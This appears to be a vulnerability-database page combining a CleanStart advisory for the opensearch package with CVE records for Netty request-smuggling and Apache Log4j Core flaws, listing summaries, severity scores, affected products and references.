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Vulnerability from cleanstart
Published
2026-07-21 11:21
Modified
2026-06-16 12:32
Summary
Security fixes for CVE-2026-33870, CVE-2026-34477, CVE-2026-34478, CVE-2026-34480, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, ghsa-2c5c-chwr-9hqw, ghsa-38f8-5428-x5cv, ghsa-72hv-8253-57qq, ghsa-f6hv-jmp6-3vwv, ghsa-m4cv-j2px-7723, ghsa-mj4r-2hfc-f8p6, ghsa-pwqr-wmgm-9rr8 applied in versions: 2.19.5-r0, 3.6.0-r4
Details
Multiple security vulnerabilities affect the opensearch package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "opensearch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0-r4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the opensearch package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-OI70918",
"modified": "2026-06-16T12:32:13Z",
"published": "2026-07-21T11:21:06.669396Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-OI70918.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34477"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34478"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-34480"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2c5c-chwr-9hqw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-38f8-5428-x5cv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f6hv-jmp6-3vwv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m4cv-j2px-7723"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mj4r-2hfc-f8p6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34477"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34478"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-33870, CVE-2026-34477, CVE-2026-34478, CVE-2026-34480, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, ghsa-2c5c-chwr-9hqw, ghsa-38f8-5428-x5cv, ghsa-72hv-8253-57qq, ghsa-f6hv-jmp6-3vwv, ghsa-m4cv-j2px-7723, ghsa-mj4r-2hfc-f8p6, ghsa-pwqr-wmgm-9rr8 applied in versions: 2.19.5-r0, 3.6.0-r4",
"upstream": [
"CVE-2026-33870",
"CVE-2026-34477",
"CVE-2026-34478",
"CVE-2026-34480",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42584",
"CVE-2026-42585",
"ghsa-2c5c-chwr-9hqw",
"ghsa-38f8-5428-x5cv",
"ghsa-72hv-8253-57qq",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-m4cv-j2px-7723",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-pwqr-wmgm-9rr8"
]
}
CVE-2026-33870 (GCVE-0-2026-33870)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:54 – Updated: 2026-07-15 02:48
VLAI
EPSS
VEX
Title
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
23 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://w4ke.info/2025/06/18/funky-chunks.html | x_refsource_MISC |
| https://w4ke.info/2025/10/29/funky-chunks-2.html | x_refsource_MISC |
| https://www.rfc-editor.org/rfc/rfc9110 | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-33870 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2452453 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:18054 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17789 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18055 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:14276 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:14272 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8509 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:8159 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:22619 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18059 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10184 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17668 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:7109 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:7380 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:34608 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13571 | vendor-advisoryx_refsource_REDHAT |
Impacted products
38 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
< 4.1.132.Final
Affected: >= 4.2.0.Alpha1, < 4.2.10.Final |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-9 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat AMQ Broker 7.12.7 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:amq_broker:7.12 |
|
| Red Hat | Red Hat AMQ Broker 7.13.5 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:amq_broker:7.13 |
|
| Red Hat | Red Hat AMQ Broker 7.14.0 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:amq_broker:7.14 |
|
| Red Hat | Red Hat Build of Apache Camel 4.14 for Quarkus 3.27 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:apache_camel_quarkus:3.27 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.20.6 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:quarkus:3.20::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.27.3 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat Data Grid 8.6.1 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8 |
Unaffected:
0:4.1.132-1.Final_redhat_00001.1.el8eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:4.1.132-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Streams for Apache Kafka 2.9.4 |
Unaffected:
codec-http , < *
(rpm)
cpe:/a:redhat:amq_streams:2.9::el9 |
|
| Red Hat | Streams for Apache Kafka 3.2.0 |
cpe:/a:redhat:amq_streams:3.2::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1776756834 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1776716842 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1776717247 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1776796445 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33870",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T13:55:28.970197Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T13:55:47.863Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-9",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-9",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-9",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7.12"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat AMQ Broker 7.12.7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7.13"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat AMQ Broker 7.13.5",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7.14"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat AMQ Broker 7.14.0",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_quarkus:3.27"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Build of Apache Camel 4.14 for Quarkus 3.27",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.20::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.20.6",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8"
],
"defaultStatus": "affected",
"packageName": "eap8-netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.132-1.Final_redhat_00001.1.el8eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8"
],
"defaultStatus": "affected",
"packageName": "eap8-netty-transport-native-epoll",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.132-1.Final_redhat_00001.1.el8eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "eap8-netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.132-1.Final_redhat_00001.1.el9eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
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CVE-2026-34477 (GCVE-0-2026-34477)
Vulnerability from cvelistv5 – Published: 2026-04-10 15:36 – Updated: 2026-04-10 17:38
VLAI
EPSS
VEX
Title
Apache Log4j Core: verifyHostName attribute silently ignored in TLS configuration, allowing hostname verification bypass
Summary
The fix for CVE-2025-68161 https://logging.apache.org/security.html#CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property, but not when configured through the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName attribute of the <Ssl> element.
Although the verifyHostName configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value.
A network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met:
* An SMTP, Socket, or Syslog appender is in use.
* TLS is configured via a nested <Ssl> element.
* The attacker can present a certificate issued by a CA trusted by the appender's configured trust store, or by the default Java trust store if none is configured.
This issue does not affect users of the HTTP appender, which uses a separate verifyHostname https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName attribute that was not subject to this bug and verifies host names by default.
Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-297 - Improper Validation of Certificate with Host Mismatch
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/apache/logging-log4j2/pull/4075 | patch |
| https://logging.apache.org/security.html#CVE-2026-34477 | vendor-advisory |
| https://logging.apache.org/cyclonedx/vdr.xml | vendor-advisory |
| https://logging.apache.org/log4j/2.x/manual/appen… | related |
| https://lists.apache.org/thread/lkx8cl46t2bvkcwfc… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Log4j Core |
Affected:
2.12.0 , < 2.25.4
(maven)
Affected: 3.0.0-alpha1 , ≤ 3.0.0-beta3 (maven) cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
Credits
Samuli Leinonen (original reporter)
Naresh Kandula (independently)
Vitaly Simonovich (independently)
Raijuna (independently)
Danish Siddiqui (djvirus, independently)
Markus Magnuson (independently)
Haruki Oyama (Waseda University, independently)
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CVE-2026-34478 (GCVE-0-2026-34478)
Vulnerability from cvelistv5 – Published: 2026-04-10 15:40 – Updated: 2026-04-10 17:50
VLAI
EPSS
VEX
Title
Apache Log4j Core: Log injection in Rfc5424Layout due to silent configuration incompatibility
Summary
Apache Log4j Core's Rfc5424Layout https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout , in versions 2.21.0 through 2.25.3, is vulnerable to log injection via CRLF sequences due to undocumented renames of security-relevant configuration attributes.
Two distinct issues affect users of stream-based syslog services who configure Rfc5424Layout directly:
* The newLineEscape attribute was silently renamed, causing newline escaping to stop working for users of TCP framing (RFC 6587), exposing them to CRLF injection in log output.
* The useTlsMessageFormat attribute was silently renamed, causing users of TLS framing (RFC 5425) to be silently downgraded to unframed TCP (RFC 6587), without newline escaping.
Users of the SyslogAppender are not affected, as its configuration attributes were not modified.
Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/apache/logging-log4j2/pull/4074 | patch |
| https://logging.apache.org/security.html#CVE-2026-34478 | vendor-advisory |
| https://logging.apache.org/cyclonedx/vdr.xml | vendor-advisory |
| https://logging.apache.org/log4j/2.x/manual/layou… | related |
| https://lists.apache.org/thread/3k1clr2l6vkdnl4cb… | vendor-advisory |
| http://www.openwall.com/lists/oss-security/2026/04/10/7 |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Log4j Core |
Affected:
2.21.0 , < 2.25.4
(maven)
Affected: 3.0.0-beta1 , ≤ 3.0.0-beta3 (maven) cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
Credits
Samuli Leinonen
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CVE-2026-34480 (GCVE-0-2026-34480)
Vulnerability from cvelistv5 – Published: 2026-04-10 15:42 – Updated: 2026-04-10 17:45
VLAI
EPSS
VEX
Title
Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters
Summary
Apache Log4j Core's XmlLayout https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout , in versions up to and including 2.25.3, fails to sanitize characters forbidden by the XML 1.0 specification https://www.w3.org/TR/xml/#charsets producing invalid XML output whenever a log message or MDC value contains such characters.
The impact depends on the StAX implementation in use:
* JRE built-in StAX: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.
* Alternative StAX implementations (e.g., Woodstox https://github.com/FasterXML/woodstox , a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger.
Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/apache/logging-log4j2/pull/4077 | patch |
| https://logging.apache.org/security.html#CVE-2026-34480 | vendor-advisory |
| https://logging.apache.org/cyclonedx/vdr.xml | vendor-advisory |
| https://logging.apache.org/log4j/2.x/manual/layou… | related |
| https://lists.apache.org/thread/5x0hcnng0chhghp6j… | vendor-advisory |
| http://www.openwall.com/lists/oss-security/2026/04/10/9 |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Log4j Core |
Affected:
2.0-alpha1 , < 2.25.4
(maven)
Affected: 3.0.0-alpha1 , ≤ 3.0.0-beta3 (maven) cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
Credits
Ap4sh (Samy Medjahed) and Ethicxz (Eliott Laurie) (original reporters)
jabaltarik1 (independently)
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CVE-2026-41417 (GCVE-0-2026-41417)
Vulnerability from cvelistv5 – Published: 2026-05-06 20:52 – Updated: 2026-05-07 13:59
VLAI
EPSS
VEX
Title
Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()
Summary
Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
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CVE-2026-42580 (GCVE-0-2026-42580)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:04 – Updated: 2026-05-14 18:21
VLAI
EPSS
VEX
Title
Netty: HTTP Request Smuggling due to incorrect chunk size parsing
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
6.5 (Medium)
SSVC
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Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
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"baseScore": 6.5,
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CVE-2026-42581 (GCVE-0-2026-42581)
Vulnerability from cvelistv5 – Published: 2026-05-13 17:54 – Updated: 2026-07-21 12:05
VLAI
EPSS
VEX
Title
Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
5.8 (Medium)
7.2 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://access.redhat.com/security/cve/CVE-2026-42581 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:28010 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:42644 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:25123 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:36820 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37390 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:23808 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24502 | vendor-advisoryx_refsource_REDHAT |
Impacted products
31 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
